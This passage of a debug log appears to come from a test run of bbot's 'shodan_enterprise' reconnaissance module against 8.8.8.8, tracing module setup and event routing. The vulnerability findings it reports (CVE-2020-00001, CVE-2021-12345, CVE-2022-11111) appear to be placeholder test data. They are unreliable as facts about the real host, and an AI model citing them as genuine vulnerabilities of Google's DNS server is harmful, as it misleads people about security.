/Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 09:13:10,187 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:13:10,187 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:13:10,254 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:13:10,254 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:13:10,254 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:13:10,255 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:13:10,256 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:13:10,256 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:13:10,256 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:13:10,257 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:13:10,257 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:13:10,257 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:13:10,257 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:13:10,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:13:10,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:13:10,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:13:10,258 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:13:10,258 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:13:10,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:13:10,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:13:10,259 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:13:10,259 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:13:10,259 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:13:10,260 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:13:10,261 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:13:10,261 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:13:10,262 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:13:10,262 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:13:10,262 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:13:10,262 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:13:10,262 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:13:10,263 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:13:10,264 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:13:10,264 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:13:10,345 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_923ssiw12j +2026-03-02 09:13:10,346 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:13:10,415 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:13:10,415 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:13:10,415 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:13:10,416 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:13:10,516 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-02 09:13:10,517 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:13:10,518 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,518 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:13:10,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:13:10,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:13:10,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,522 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:13:10,523 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:13:10,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:13:10,524 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:13:10,525 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:13:10,526 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:13:10,527 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:13:10,528 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,529 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:13:10,529 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,530 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,530 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-02 09:13:10,530 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-02 09:13:10,531 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-02 09:13:10,531 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:13:10,531 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,533 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:13:10,617 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:13:10,618 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:13:10,618 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-02 09:13:10,619 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:13:10,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check +2026-03-02 09:13:10,624 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) +2026-03-02 09:13:10,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,625 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) +2026-03-02 09:13:10,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,626 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check +2026-03-02 09:13:10,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) +2026-03-02 09:13:10,627 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:13:10,628 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:13:10,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) +2026-03-02 09:13:10,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,629 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,630 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,630 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check +2026-03-02 09:13:10,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) +2026-03-02 09:13:10,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:13:10,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:13:10,631 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:13:10,631 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:13:10,632 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:13:10,632 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) +2026-03-02 09:13:10,632 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) because precheck succeeded +2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:13:10,633 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:13:10,634 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:13:10,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:13:10,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:13:10,634 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:13:10,635 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,635 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,635 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,636 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,637 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:13:10,637 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:13:10,637 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:13:10,638 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded +2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check +2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:13:10,638 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,639 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:13:10,640 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:13:10,640 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:13:10,640 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,640 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,641 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,641 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) +2026-03-02 09:13:10,641 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because precheck succeeded +2026-03-02 09:13:10,642 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:13:10,642 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:13:10,642 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:13:10,643 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:13:10,643 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:13:10,643 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,643 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:13:10,644 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) +2026-03-02 09:13:10,644 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) in-scope because its main host matches the scan target +2026-03-02 09:13:10,644 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:13:10,645 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded +2026-03-02 09:13:10,645 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:13:10,645 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:13:10,645 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) +2026-03-02 09:13:10,646 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 